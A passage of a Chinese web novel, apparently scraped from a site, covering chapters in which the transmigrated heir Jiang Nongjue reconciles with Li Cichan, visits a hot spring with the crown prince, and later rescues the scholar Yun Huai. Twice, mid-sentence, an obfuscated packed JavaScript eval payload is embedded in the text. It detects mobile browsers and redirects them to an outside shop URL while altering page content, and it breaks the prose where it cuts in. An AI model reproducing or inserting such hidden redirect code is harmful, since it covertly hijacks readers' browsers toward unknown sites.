在江弄玦眼里,他李辞禅依然是个会被三言两语激怒、不顾场合发疯的莽夫。 这比王散劈头盖脸的指控更让他难以忍受。 更让人烦躁的是江弄玦这个人太爱多管闲事了。 他能为了人情或道义,去帮一个并不算熟悉的贵女,甚至不惜将自己置于险地。 那日后呢?他那张脸,他那副看似无所谓实则内里倔得跟牛一样的性子,会不会引来更多人的注目、求助、乃至其他的…… 他猛地从地上坐起,抓过身边的枪,指节攥得苍白。 一个几乎可以脱口而出的答案乍现—— 嫉妒。 “咣当!” 他长臂一甩,枪重重落地,又滚了几圈,发出“轱辘轱辘”的节奏,正与他的心跳重合。 “咚咚!”“咚咚!” 6. 本世子和好哥们谈心 撷玉轩卧房内,烛光摇曳,江弄玦正伏案研读明日要提交的课业,笔尖轻轻落在纸上,屋内静谧得只剩下烛火轻微的跳动声。 “叩叩——” 声响让江弄玦猛地一愣,他微微抬头,眼神透过窗户的半透明光影扫视外面。 还敲窗,说明来者并无恶意。 江弄玦谨慎地向窗边走去,缓缓推开窗棂,看到来人后江弄玦感觉心脏又要骤停。 来人正是李辞禅。 黑色披风将他单薄的身形勾勒得愈发清冷,长发低束,额前的碎发在夜风中轻轻舞动。他的面色出奇得红润,呼出的哈气立即化作白色雾气,漂浮在夜色中。 江弄玦惊得说不出话,脑子里闪过千百个念头—— 为什么夜探皇宫来找他?报仇?不至于吧? 放他进来?他来的事之后肯定瞒不过太子……接下来,我该如何应对? “让我进去。” 李辞禅声音低哑,双眼发亮,看着不像失了智的模样。 江弄玦深吸一口气——看着不像报仇。算了,来就来吧。 他不再犹豫,让身放李辞禅翻了进来。 合上窗户,江弄玦回头不解,问:“这个时候找我干什么?” 李辞禅收回打量卧房的目光,落回江弄玦的脸上。 他沉吟片刻后,微微抬眼,眼神在烛光下闪烁片刻,才缓缓开口: “今日多谢了。” 多谢?江弄玦听完后人都愣了两秒才反应过来,他应该是指夜宴上的事。 还没等他回应,李辞禅又自顾自道:“但我很不开心。” 于是江弄玦又哽住了。 果然还是来算账的吗?亏他刚才还感动了一下。 但是,江弄玦也大概能猜出来李辞禅在气什么,于是他上前一步道:“对不起。” 李辞禅不语,漆黑的眸中闪着点点烛光,神色平静。他没有催促,也没有移开视线,就那样静静地看着江弄玦,仿佛在等待,又像是在品味这句道歉。 “其实我知道,你不可能是那种不顾场合生气的人,”江弄玦摸了摸脖子,避开了他的视线,“但我还是……擅作主张,打断了王散。” 李辞禅的指尖几不可察地蜷了一下。 “我……”江弄玦知道,说什么“对不起我看低你了”只会刺激李辞禅的自尊心,于是只是抬起头,目光重新迎上他。 “对不起。” 沉默在两人之间蔓延了几息,只有烛火偶尔的噼啪声。 终于,李辞禅动了。 他向前迈了一小步,拉近了本就咫尺的距离,深夜的寒意和他身上特有的、带着练武之人冷铁般的气息瞬间将江弄玦笼罩。 “江弄玦,” 他开口,声音比方才更低,带着一种压抑的认真,“如果我说,我当时……确实想动手呢?” 听到这话,江弄玦不禁糊涂了。 难道他又想错方向了?李辞禅究竟想听到什么回答? “你拦我,是出于什么立场在拦我?”李辞禅嘲弄般笑一下,“就像是现在这样,你道歉,是觉得误会了我,还是在安抚一个你觉得可能失控的人?” “就像我府里的下人,像宫中的伴读,像其他人一样?” 夜风从窗缝挤入,吹得烛火猛地一跳,在李辞禅脸上投下晃动的阴影,让他那双紧盯着江弄玦的眼睛,亮得惊人,也沉得骇人。 在这样的目光下,江弄玦只感觉自己再次被问住了,随即陷入了沉默。 少顷,他望着李辞禅,平静道: “因为我不想被你讨厌。” “向你道歉不是敷衍你,而是我就是这么想。” “我,始终站在朋友的立场去看待你。也许因为外界种种因素的巧合,最开始你只是一时兴起找上我一同练武,但后面与你的接触,全然是我主观的意愿。” “不存在什么‘权宜之计’。如果只是权宜,我大可以像对其他人一样,对你处处迎合、句句算计,何必惹你生气,又何必在此刻道歉?” “你感受得到,对吗?” 李辞禅良久没有说话。他的脑中只重复着江弄玦的那句“朋友的立场”,说不出来是释然还是如何,只是下意识地回道:“那林倾颜呢?” “你为她冒那么大险,”李辞禅也觉得自己的话酸溜溜的,怪得很,却又忍不住继续,“她也是朋友立场?” 话毕,望向江弄玦的眼底藏着不易察觉的探究和一丝隐秘的期待 江弄玦一愣,随即扶额:“你看到了?” “你对她如何?”李辞禅颔首,追问道,“对她你也是朋友立场?躲在同一个柜子里?” “同一个”三字被他咬得清晰,那点未散的郁气混着自己都未必全然明了的私心,让他问出了口。 江弄玦沉默了一下,无语地气笑了。 “你能不能不要满脑子情情爱爱?今日是被林知尘给传染了吗?” 江弄玦越想越觉得离谱。 “是,是躲进一个柜子了。那是情急之下唯一的办法,我顾不上那么多了,我就不信你心里不清楚当时的情况。” “还是说,在你心里,我就是那种会趁人之危的人?” 说一句江弄玦就向李辞禅逼近半步,说得他越发激动,全然忘记平常是怎么哄着小祖宗了,甚至还一边说一边戳他胸口好几下。 李辞禅被戳得微微后仰,脚下却钉在原地。 咫尺之间,他看着江弄玦因情绪激动而格外清亮的眼睛,那里面没有算计,没有敷衍,只有纯粹的恼火和指控。 忽然,他胸膛里那股拧了一夜的郁气,像是被这几下毫不客气的戳弄给戳散了。 “噗嗤——” 他笑出了声。 那笑容冲散了他眉眼间沉积的冷意,露出一点少年人独有的、近乎恶劣的明亮神气,虽然转瞬便被他努力压了下去,但眼底的沉郁已然消融,取而代之的是一种更复杂、更鲜活的光芒。 他抬手,一把抓住了江弄玦那只还在“行凶”的手腕。 “行,我知道了。”他低声道,语气里没了之前的尖锐,倒像松了口气,又带着点没完全消散的别扭,“……吵死了。” 江弄玦闻言停下,方才燃烧理智的恼火也熄灭了,转而变成悔意。 李辞禅也就是个孩子,他跟一个孩子计较这么多,像什么话? 此时李辞禅神情扭捏地问:“太子找你问话了吗?” 江弄玦抽出手来,整理了凌乱的寝衣,没好气道:“宴后就立刻拉我去谈话了,把所有的事情都问了一遍。” “什么?”李辞禅紧张地倾身,“林倾颜的事,他罚你了?” 他双手并用地掀开江弄玦的衣袖、领口,神经兮兮地想看出江弄玦身上有没有伤。 江弄玦拽住李辞禅还在作乱扒他衣服的手,有气没力。 “没有。太子殿下就事论事,不像李二公子,不知怎的突然开窍了,看谁都觉得能被我搅到一块去。” 他放开李辞禅的手,揉了揉眉心: “我说小祖宗,您歇歇不好吗?” “而且这些事情可以等休沐泡温泉的时候一块说,怎么偏生卡在夜里过来啊。” 李辞禅被他堵得哑口无言,那股兴师问罪的劲儿早已泄了个干净,此刻只剩下深夜擅闯皇宫的理亏和一连串误判的尴尬。 他垂着眼,浓密的睫毛在眼下投出一小片阴影,艰难地吐字:“……抱歉。” 这声道歉比最开始的“多谢”更生涩,也更郑重。 李辞禅顿了顿,似乎想为自己深夜唐突的行为找个理由,却又不想显得太刻意,最后只闷声道:“……心里不痛快,等不到休沐。” “你……”他看了一眼江弄玦疲惫的神色,终于还是补了一句,“没事就行。” 江弄玦看着眼前这个突然显得有点无措的少年——一身夜行衣还带着室外的寒气,看着有些委屈,头发被风吹得微乱,哪还有半点平日里嚣张跋扈的小祖宗模样。他心头的火气也散了,叹了口气。 “行了,”江弄玦语气缓下来,带着倦意,“道歉我收到了。你也赶紧回去,夜闯宫禁不是小事,万一被巡夜的碰上,麻烦就大了。” 李辞禅抬起头,嘴唇动了动,似乎还想确认什么。 “那……休沐日。” “嗯,休沐日,老地方。”江弄玦应道,指的是他们偶尔会去的、属于皇家别苑范围内那处较为僻静的温泉。 李辞禅不再耽搁,利落地转身,推开窗棂。临翻出去前,他回头又看了江弄玦一眼。 烛光勾勒着江弄玦穿着单薄寝衣的轮廓,脸上带着疲惫却已无怒气的平静。 “走了。”他低声道,随即身影便融入了夜色,如同来时一样悄无声息。 江弄玦关上窗,隔绝了外面的寒意。 屋内重归寂静,只剩下烛火和他自己的呼吸声。 这一夜情绪起伏太大,他感到一阵深沉的疲惫,但心底某处,又似乎比之前轻松了一些。 他吹熄蜡烛,躺回床上。在陷入沉睡前的混沌中,模糊地想:休沐泡温泉……到时候,大概又免不了被这家伙追着问东问西吧。 接下来的七天都是休沐日。 次日起床后的江弄玦先搞定了课业,又写了封家书向镇北王汇报近况。 向手下交过家书后,他又顺道去藏晖阁交作业,看了会书。 见天色不早了,便回了撷玉轩。 一回来桃子便禀报,说太子递话过来,今日共泡温泉,以及不必在意昨夜之事,皇后与陛下那边由他解决。 知道江醉玉会帮忙解释李辞禅夜闯皇宫的事,江弄玦也放心了。 于是江弄玦用过晚膳后,便又忙忙叨叨地去了别苑的温泉馆。 江弄玦到场时,林知尘和李辞禅已经对弈有一会了。 一掀帘子,发现两个人穿着浴袍坐着下棋,江弄玦一乐:“二位雅兴。” 见江弄玦来了,林知尘也是一乐,忙招手道:“可不是!来,你给我把把关这么下对不对。” 李辞禅“哧”了一声,挑眉道:“两个臭皮匠?” 林知尘一挥袖子:“赛不过诸葛亮!李兄,你可得让让我,我棋艺一般,这是众所周知哈。” 江弄玦附声:“就是就是。” 李辞禅:“……呵呵。” 江弄玦在一旁看了会,指正了几步棋,便听林知尘漫不经心道:“多谢了,弄玦兄。” “客气,”江弄玦乐,“今天太客气了吧?” 林知尘笑了两声,难得正色:“昨日的事,我替小妹谢过弄决兄。” 江弄玦“啊”了一下,摆摆手:“林小姐冰雪聪明,也是她自己机警。” 李辞禅面色不变,指尖却无意识地摩挲着一枚棋子,抬眼注意着江弄玦的神色。 发现对方脸上没什么特别的喜色,像是做了一件再正常不过的事时,李辞禅不禁在心里腹诽——这大善人,真耐得住。 这边江弄玦欣然道:“不过是尽力去帮朋友罢了。” 李辞禅:“……呵呵。” 林知尘笑道:“今天的李兄特别爱笑。” 没下一会,江醉玉姗姗来迟。 几人这才共同入了温泉。 温泉池引的是活水,热气氤氲,在寒冷的冬夜里织出一片暖融的白雾,将四周悬挂的灯盏光线晕染得柔和朦胧。水汽蒸腾,很快便驱散了衣衫单薄带来的最后一丝寒意。 江醉玉靠在池边闭目养神,林知尘则悠然地用巾帕敷面,享受着难得的松弛。李辞禅则靠在池边,黑发湿漉漉地贴在颊边颈侧,目光却隔着水汽,时不时瞥向斜对面的江弄玦。 江弄玦正仰头靠着池壁,长长舒了口气。连日的紧绷似乎随着毛孔舒张,被温泉水一点点化开。他几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“尚未过礼,一切言之过早。”江醉玉的声音平静无波,却带上了些许压迫,“纳征之礼未行,便算不得定论。人选之事,关乎国本,母后与父皇自有圣裁,非我等可妄议。” 江醉玉那句“非我等可妄议”,让林知尘脸上的笑容淡了一分。 一时之间,只听得到温泉水流的声音,空气如同凝滞。 这下江弄玦一下子清醒了,身子不动,眼珠子快速在林知尘和江醉玉之间扫视两下。 刚才他太过放松了,竟然忽视了林知尘口中的试探之意,直至江醉玉口风突变才反应过来。 刚才的林知尘,也许是在替妹妹林倾颜推拒。 若江弄玦是林知尘,也必然不希望妹妹跳进“皇后”这个火坑,林知尘这样的试探,不无道理。 只是,江弄玦知道林倾颜未来一定会成为皇后。林知尘的阻拦是没用的。 江弄玦望着林知尘,心里也很复杂,甚至说有点共情对方了。 甚至潜意识中开始担心自己——镇北王世子没有出现在剧情里,是不是作为跑龙套早早领盒饭了呢…… 忽然,李辞禅猛地从水里站起身,带起大片水花。 “这水太闷,我出去透透气。” 他硬邦邦地扔下一句,抓起池边的外袍胡乱一披,大步走向外侧露天小池的廊道。 林知尘望了一眼离开的李辞禅,轻轻叹了口气,苦笑一声:“是臣僭越了。只是心中不由得感叹,时光如梭啊——” 说完,他向后依靠,将脑袋枕到了池边,闭上了眼,仿佛真的只是单纯感慨岁月流逝。 氤氲的水汽似乎更浓了,包裹着沉默。 江醉玉也重新阖上眼,仿佛方才那片刻的威压从未存在。 江弄玦泡在温暖的泉水中,看着眼前这对未来君臣。 一个已然初具帝王心术,深不可测。 一个聪慧剔透却不得不将担忧与抗拒深埋心底。 江弄玦心中涌起无限的感慨。 历史的车轮沉重而精确,个人的意愿在它面前,如螳臂挡车,悲壮,却注定徒劳。 李辞禅定然受不了这个气氛,太过沉重了。而且是双方都无法直接点明的沉重。 李辞禅那家伙,向来喜欢打开天窗说亮话,喜欢用最直接的方式解决问题。刚才那番暗流涌动,想必早已让他憋闷到了极点。 没一会,條然下起了雪。 一边赏雪一边泡汤,正可谓人生一乐。 只可惜,在场的各位都往心里装了事。 江弄玦又泡了片刻,直到指尖的皮肤微微发皱,才从水中缓缓起身。 “殿下,林兄,我先回了。”他声音不高,带着泡澡后特有的慵懒沙哑,“有些乏了。” 江醉玉并未睁眼,只几不可察地“嗯”了一声,算是准许。林知尘则抬起一只手,随意挥了挥,依旧闭着眼。 江弄玦穿戴整齐,掀开厚重的棉帘,踏入外间的寒冷空气中。 内外温差让他激灵一下,瞬间清醒了许多。 廊下挂着风灯,光线昏黄。 他下意识地朝外侧露天小池的方向望了一眼——那里影影绰绰,似乎有个人影靠着栏杆,立在风景与热泉蒸腾的白气交界处,一动不动,像是融进了那片朦胧的光影里。 是李辞禅。 对了,游戏里的李辞禅为何能成为护国将军来着? 江弄玦一时半会想不到,但隐约觉得,李辞禅很快就要离开京城了。 然后,一跃成为军中的领袖人物…… 不管如何,这两年也许是他最后的轻松时光了。 江弄玦只是紧了紧衣领,转过了身,朝着来时的方向,踏着越来越密的雪,独自向撷玉轩走去。 7. 本世子长大五岁 时光荏苒,也就五年的功夫,京城的桃花又到了含苞待放之时。 醉今楼是京城最有名的酒楼。 雕梁画栋,宾客盈门,往来皆是非富即贵,或是文采风流的才子。 上京的才子们往往在这里能遇到自己的伯乐,商人们则在此推杯交盏,促成一次次可观的交易。 楼体三层,中空通天,呈醒目的桶楼格局。 此刻,一楼中央的台子上,一位须发皆白、精神矍铄的说书先生正醒木一拍,口若悬河,声音洪亮得足以让三层楼的客人都侧耳聆听。 “……这 《撷英册》 录尽京华名姝,然市井间却另有一桩有趣的《青玉案》 悬而未决——便是争论这京城之中,哪位公子堪为‘青玉’之首。此案难断,盖因榜首之位,关乎国本,无人敢妄下判词。” “正如各位所想,其中便有东宫那位,盖描述起来也不大方便。当今太子殿下早已声名远扬,未及弱冠便已协理朝政,处事公允,深谋远略。前年主张以商固边,令边贸岁入增了三成,去岁亲至淮河赈灾,今年年初又请旨改革粮种分发旧例,正可谓一心为民。” “其貌呢……嘿嘿,老朽听过两个说法。一说殿下 ‘面如冠玉,目若朗星’,是画儿里走出来的神仙人物;另一说则称殿下 ‘龙章凤姿,不怒自威’ ,颇有今上年轻时的风范。究竟孰真孰假?这等天家气象,岂是我等能够亲眼得见、肆意描绘的?故而榜上之名,只可意会,不可言传呐!” “至于这《青玉案》中的其他俊子皆有所记载,坊间有幸目睹者也不在少数。再要说的是李国公府二公子——李辞禅。” 说书人醒木一响,声调陡然拔高,带着几分与有荣焉的激昂: “想必各位都因半年前西北退蛮大捷之事听闻这位公子了!阵前斩将,当真是少年英雄,天纵将才!若说武艺韬略,同龄人中怕是难逢敌手。依老朽看,他继承父志,为我朝开疆拓土,也是指日可待!” 他话锋一转,压低声音,露出几分神秘笑意:“兴许各位都觉得,这么一位能叫匈人闻风丧胆的小煞星,定是位身高八丈、面如铁铸的猛汉罢?那诸位可就想岔了——” “这位小将军,偏生得一张玉面童颜!单看那脸,眉眼清澈,唇红齿白,活脱脱是个小仙童模样。” 他声音陡然一凛:“但这位爷早在当年在京之时,便是京城里出了名的无常。五年前,东宫伴读之时,一位重臣之子招惹了李二,之后其父便被爆敛财,官位难保。” “那之后,那一家子在京城中销声匿迹了。说来也是太子殿下知人善任,出其璞玉之质,不拘一格,简拔于行伍,纵其历练,方得半年前的西北大捷。” “方才说的二位名声赫赫,接下来要说的便是这《青玉案》中,叫人最捉摸不透的镇北王世子——江弄玦。” 老先生扇子一收,笑道:“世子爷生得是极好,是走到哪儿,都让人眼前倏然一亮的好样貌。京中有言道他是‘玉山倾照,满堂光黯;珠帘漫卷,喧嚷成哑。’” “但这位爷性情独得很,寻常诗会宴饮请不动他,整日不是在校场摸爬滚打,就是窝在哪儿躲清静。” “更难得是心善——京郊几处粥棚善堂,暗地里都得过他的照拂。这般画皮侠骨,当真让不少京中仙眼光高的闺秀们高看一眼。” “至于京城中各家公子嚼舌说,这位爷‘文不成武不就,不过仰仗父荫’……嘿,那可是睁眼说瞎话!诸位想想,当年东宫伴读,英才云集,这位爷可是实打实地与李二公子在春猎上并驾齐驱,夺过魁首的人物!更有一桩——” 说书人压低声音:“太子殿下身边那位最得信任的林知尘林公子,曾在酒酣耳热时叹过一句:‘弄玦若非身负北疆重任,殿下待他,怕是与亲手足也无二了。’” “诸位听听,‘与亲手足无二’!这是多大的信重,多高的评价?这位世子爷若真是庸才,能入得了东宫法眼,能得林公子这般人物如此感慨?” 老先生一顿,露出了一个八卦的笑容: “还没完,这京城中流传的最当说到的,是李二与江世子的一段轶事。” “五年前,江世子上京做太子伴读时一展武艺,李二颇为欣赏。两人一拍即合,时有切磋。二人关系之好,就连宫中夜宴上,李二都给江世子夹菜!” “后来李二到了议亲的年岁,乃至现在已年至十七,却也迟迟未能定亲。他本人虽说心无所属,嘿嘿,实际坊间早有猜测,怕不是京中小姐不如兄弟,而此‘兄弟’早已成了心头的朱砂痣、眼里的明月光,旁的庸脂俗粉,哪里还入得了眼?” “然江世子一心效忠于太子殿下,随太子殿下奔走,浑然未觉。李二满腔心思无处诉,又见那东宫……” 老先生意有所指地扇尖向上地指了两下:“对世子也是青眼有加。” “情场战场皆失意,他一气一痛之下,便自请出走北疆,说是历练,实则是断情疗伤去了!坊间都说,这位小将军在西北杀人如麻的煞气,怕是有一半,是这求不得的苦楚给熬出来的!” 说书先生抑扬顿挫,绘声绘色,引得楼下众人一片哗然、窃窃私语,既有嗟叹,也有暧昧的低笑。 三楼雅间临栏处,却有人几不可闻地、极轻地嗤笑了一声。 “这说的,也太离谱了。” 这人一身金纹白衣的锦袍,腰间一枚蟠龙玉佩莹润生光,看着便知非富即贵。 他对面坐着另一人身着天青色衣衫,手持玉扇,举止不紧不慢,正是林知尘。 林知尘“啪”地打开玉扇,遮了半边脸,眼底笑意却藏不住。 “这故事从当事人嘴里说出来,才知真假几何。怎么,弄玦兄要亲自下场,与那说书先生辩驳一番?” 白衣人——正是江弄玦。 他随手捏起茶杯轻啜一口,动作随意却自有一股清贵。五年时光将他眉眼间的青涩尽数褪去,雕琢出更为清晰俊逸的轮廓,只是那眉宇间透着的几分懒散与万事不经心的随性,倒与从前如出一辙,为他文雅的外表添了几分游刃有余的风情和不易亲近的疏离。 江弄玦放下微凉的茶,一如既往地吐槽:“林兄,我们这些年的交情,你还不懂吗?” 林知尘扇子轻摇,眼中调侃之意更浓:“这可难说。弄玦兄说的是哪种交情?是你与太子殿下还是你与辞禅兄?” “君臣之分,岂敢僭越称情?”江弄玦立刻截断,瞥了林知尘一眼,“至于李辞禅,他那性子,谁能琢磨透?还有啊,林兄你去年醉后胡言,说什么‘殿下待他如亲手足’,这话传出去,才是真给我招麻烦。” “倒是你,都已与云家小姐定亲,怎么还这副爱听墙角的模样?若让云小姐知道未来夫婿如此热衷八卦,怕是要重新思量了。” “别提了弄玦兄,”林知尘扶额。 江弄玦也不多说了。 林知尘去年曾与他吐露过。云家小姐云渺年方十五,容貌才情俱是上佳,偏偏身子骨不争气。 这桩婚事背后牵扯两家利益,退不得,可看着未婚妻病弱,林知尘心中滋味如何,也只有他自己知晓。江弄玦不便多言,只抬手为他斟了杯热茶。 短暂的沉默后,林知尘重新拾起扇子,却没打开,只是用扇骨轻轻抵着下巴,目光转向江弄玦,那里面探究的意味压过了调侃。 “说真的,弄玦兄。辞禅走之前,你们最后那次见面究竟发生了什么?” “他走得那般决绝,连个像样的缘由都未曾与我们这些旧友细说。你更是三缄其口。如今连市井都编排出这等故事了,你还不肯透露半分?这让我不得不怀疑,” 他顿了顿,声音压低:“也许那谣言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515976|203193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,并非空穴来风,是真的?” 正如说书老先生所言,一年前,刚满十六不久的李辞禅,毫无预兆地请命前往西北边军。更奇的是,向来管教甚严的李国公府大公子,竟未强力阻拦。太子江醉玉顺水推舟,在御前举荐,李辞禅遂得以成行。 走之前,他们这群旧日同伴并非没有践行,但那日的李辞禅,与平日大不相同。 他依旧穿着惯常的玄色衣衫,身姿笔挺,沉默地喝了许多酒。 最终,他却什么多余的话也没对江弄玦说,只是重重拍了拍他的肩,然后便转身走了,再未回头。 林知尘将这一切看在眼里。他了解李辞禅,那绝不是单纯想去建功立业的表现。 那更像是……在逃离什么。 江弄玦又啜了一口已凉的茶,氤氲的热气早已散尽,只余涩味在舌尖。 他眉峰几不可察地蹙了一下,随即松开,语气平稳淡然:“林兄竟也会信这些无稽之谈么?” 他指尖无意识地摩挲着光滑的杯壁,目光投向楼下喧嚣处,却又像穿透了那些热闹。 江弄玦又叹气: “不瞒林兄,我也不甚明了。只是觉得,那次西山秋狩,自我坠马受伤他来看过我之后,李兄待我便有些说不出的……不同。疏远了些,又像是在压抑着什么。之后没多久,他便向太子殿下请缨了。” 他收回目光,看向林知尘,眼底带着一丝淡淡的、真实的懊恼:“也怪我,当时只顾着养伤,又觉得他或许只是一时心情不畅,未曾直言问过他。” “你也别太放在心上。他那身本事和性子,本就是该去沙场里摸爬滚打的料,在边疆建功立业是迟早的事。这下不过是将日程提前了些,说不定反倒成全了他。” “嗯。” 江弄玦勾了勾唇角,算是回应。 他垂眸盯着杯中青碧的茶水,那笑意如同投入深潭的石子,漾开一丝微澜,便迅速沉没,未达眼底。 “我知道。”他闭上眼,声音轻得几不可闻。 ——病榻,满月,火光。 “只是,”他睁眼,“不知道什么时候……” ——爆发,尴尬,质问。 “能再见了。”最后他深深闭眼。 ——自辩,表白,死寂。 林知尘不知他心中的波动,只见他闭目良久,神情低落,便“唰”地打开玉扇,不着痕迹地岔开话题: “说来,你距离你上京入东宫伴读,一晃也五年了。按例,藩王世子久居京城,也该有恩旨许你回北疆省亲了吧?” 江弄玦被他的声音拉回现实,缓缓睁眼,方才那一瞬的恍惚已被迅速收起,重新覆上那层惯有的、略带惫懒的平静。 他无所谓地笑了笑:“家?北疆吗?等太子殿下什么时候得空休个长沐,我再考虑吧。” “我倒希望殿下他能多腾出些时辰,好好陪陪未来的太子妃殿下,或是多纳几位可心的侧妃。总好过如今,日日夜夜跟东宫一群木头幕僚和我这不成器的世子混在一处,岂不是耽误了殿下的人生大事?” “说到太子妃,林小姐近来如何?” 这下又砸过来一个头疼问题,林知尘几乎是下意识地“啧”了一声,那总是含笑的脸上掠过一丝真实的烦闷与无奈,连摇扇的动作都慢了几分。 “订下名分之后,宫里规矩学得勤,人也更静了些。”他斟酌着词句,既不能妄议天家,又掩不住对妹妹的怜惜。 “倒是出府的次数,反倒比从前多了些。兴许是珍惜这最后的自由时光吧。也好,趁眼下还能走动,多看看宫墙外的天。” 雅间内一时静了下来,只剩下楼下隐隐传来的说书声与喧嚣。 这时,正听到楼下大堂传来一阵不和谐的喧哗,打断了说书先生的声音,也吸引了楼上不少客人的目光—— 8. 本世子英雄救帅 只见几个衣着华贵、神态轻浮的公子哥儿,围住了临窗一张桌子。那桌边只坐了一个人,是个穿着半旧青衫的年轻书生,身形清瘦,低着头似乎正在看书,对周围的嘈杂充耳不闻。 “哟,我当是谁呢,这不是云家那个……云淮公子吗?”为首的纨绔故意拉长了调子,语带讥讽,“怎么,云家如今连身像样的衣裳都舍不得给你穿了?还是说,你姨娘那份月例银子,又补贴了哪个野郎中给你那病秧子娘抓药去了?” 那叫云淮的书生微微收紧握着书卷的手指,骨节泛白,却仍没有抬头。 另一个纨绔跟着起哄:“听说你想考功名?别白费力气了,一个庶子,还是克死生母的不祥之人,就算读了圣贤书,哪个衙门敢要你?不如乖乖回去,说不定你爹看在你这张脸的份上,还能给你寻个好去处……” 话音未落,一只咸猪手便轻佻地朝云淮的下巴伸去。 就在指尖即将触碰到的一刹那—— “啪!” 一声清脆的击打声,并非来自云淮,而是他手中的书卷以一种刁钻的角度向上疾抬,精准狠厉地拍开了那只手腕!动作快得只留下一道残影。 那纨绔“嗷”一声缩回手,手腕已红了一片。 云淮终于缓缓抬起头。 三楼雅间,江弄玦的目光恰好落在楼下,将这一幕尽收眼底。 他看到了那书生抬起的脸——肤色是久不见阳光的苍白,像极冷玉,五官异常清俊,尤其一双灰色的眼睛,沉静如古井,此刻却透着冰冷的讥诮。那不是恐惧或愤怒,而是一种居高临下、看待蝼蚁般的厌弃。 “《大雍律·刑律》有载,” 云淮开口,声音不高,却因四周突然的安静而清晰可闻,字字清晰冷冽。 “‘当众调戏良家,举止轻狎,杖二十。’诸位公子若想亲身验证一下京兆尹衙门的板子是否扎实,不妨再近一步。” 他的语气平静得像在陈述天气,内容却犀利如刀,直指律法。 “至于功名前程,”他目光扫过那几个脸色涨红的纨绔,嘴角勾起一丝极淡而嘲讽的弧度。 “与其操心在下,不如多翻翻诸位府上亏空的账本,想想来年御史台的‘岁考’,该如何应付。毕竟,蛀空梁柱的虫子,往往比屋外的野草,死得更快。” 此言一出,不止那几个纨绔脸色大变,连周围一些听懂弦外之音的看客也倒吸一口凉气! 此时的三楼,江弄玦原本只是随意一瞥,随便附耳一听后,此刻却不由得坐直了身体,眼底掠过一丝讶异与兴味。 这番应对的言语真是犀利异常——引律法先震慑,再以家族阴私反刺,直击要害,全然不像个普通、忍气吞声的庶子。尤其是那句关于“虫子”与“野草”的比喻,用来骂人可真是痛快。 云家庶子云淮? 江弄玦脑海中迅速闪过老妹曾絮叨过的“乙游男主资料” ——云卿南,未来权倾朝野的丞相,出身望族云家,但早年似乎是……境遇坎坷? 难道…… 一个大胆的猜测在他心中冒出头来。 若真是那位未来大佬的早期马甲,那这毒舌和超前思想就完全对得上了。 惜才之心悄然升起。同时,一个更实际的念头闪过:若能结交甚至施恩于未来的云卿南,无论是对于他自身,还是对于东宫,抑或是为了制衡如今势力庞大的陆相一脉,这都会是一步未雨绸缪的好棋。 楼下,纨绔们恼羞成怒,似乎想动手。 江弄玦不再犹豫,看向林知尘。 林知尘显然也注意到了下面的动静,摇了摇扇子:“云家的人?倒是副硬骨头。不过恐怕要吃亏。” 江弄玦起身,整理了一下衣袖,语气恢复了平常的慵懒,眼中却多了几分搞事的光彩:“林兄稍坐,我去添壶新茶。” 说罢,他不再看楼下,径直朝雅间外走去。 这边的对峙已然僵持。 对面几个纨绔被当众如此下面子,脸上早已五彩纷呈,尤其为首那纨绔,更是恼羞成怒,一张脸涨成了猪肝色。 被甩开手的那纨绔从牙缝里挤出两声狞笑,恶狠狠道:“装你娘的清高!除却这张脸,你还有什么拿得出手卖——” 话音未落,他竟直接伸手,要去抢夺云淮紧攥在手里的书册。那册子边角磨损,却干净平整,显然是主人极珍视之物。 云淮眉毛都未动一下,手腕只微微一转,便将书册精准地收拢入袖,动作快得只余一道残影。他抬起眼,那双浅淡的瞳仁里凝着冰,声音却平直无波: “看来,在下方才所言律例,公子是半个字也未听进去。” 说话的同时,他的余光不动声色地扫视全场——绝不能与这群人硬碰硬。 就在这电光石火间,他捕捉到了从楼梯转角不疾不徐走下的那个身影。 那人目光精准地看向他,露出一个笑脸。 这一瞬间,云淮知道他冒险冒对了。自己连日蹲守、乃至方才刻意激怒纨绔的冒险,都赌对了。 于是他顺势将语调放得更缓,甚至带上了一丝引轻蔑:“究竟是张公子贵人多忘事,不将王法放在眼里,还是贵府近日春风得意,自觉已可凌驾于律法之上了?” 这话如同在油锅里泼进冷水。 那姓张的纨绔被他言语里的暗示与轻蔑彻底点燃,理智崩断,低吼一声“你找死!”,竟真不管不顾,上前一步猛地伸手去抓云淮的衣襟! 云淮似乎不及闪躲,被那大力带得一个趔趄,单薄的身子向后仰倒,手中的书册眼看就要脱手飞出去—— “哎,不好意思。” 一道清越的嗓音插了进来。 同时,一只骨节分明的手,仿佛只是随意一拂,恰好格在了张公子手臂内侧的某个位置。 张公子只觉得一股巧劲传来,整条手臂又酸又麻,力道瞬间泄去。 他自己反被带得连退好几步,后背重重撞上同伴,才勉强站稳,模样狼狈不堪。 张公子气血上涌,破口便骂:“你算什么东西,敢管老子的——”最后一个“事”字噎在喉咙里,因为他终于看清了来人的全貌。 站在他面前的少年,身姿挺拔如松,一身金线暗纹的白衣华贵飘逸,面容丰神俊朗,眉宇间自带一股慵懒随性的风流感。 但这些都不重要。 重要的是,对方腰间悬着的那枚玉佩—— 温润剔透,蟠龙纹样栩栩如生,在酒楼灯烛下流转着内敛而尊贵的光泽。 蟠龙佩。 非宗亲、非特赐不可佩戴。 一盆冷水混合着后怕,浇得他浑身一激,顺着脊椎蔓延至四肢百骸,冷汗瞬间浸透了里衣。他张着嘴,那未骂完的脏话硬生生憋了回去,脸色由红转白,再由白转青。 江弄玦眉宇间带上不怀好意的狡黠:“这位公子,不知出自?” 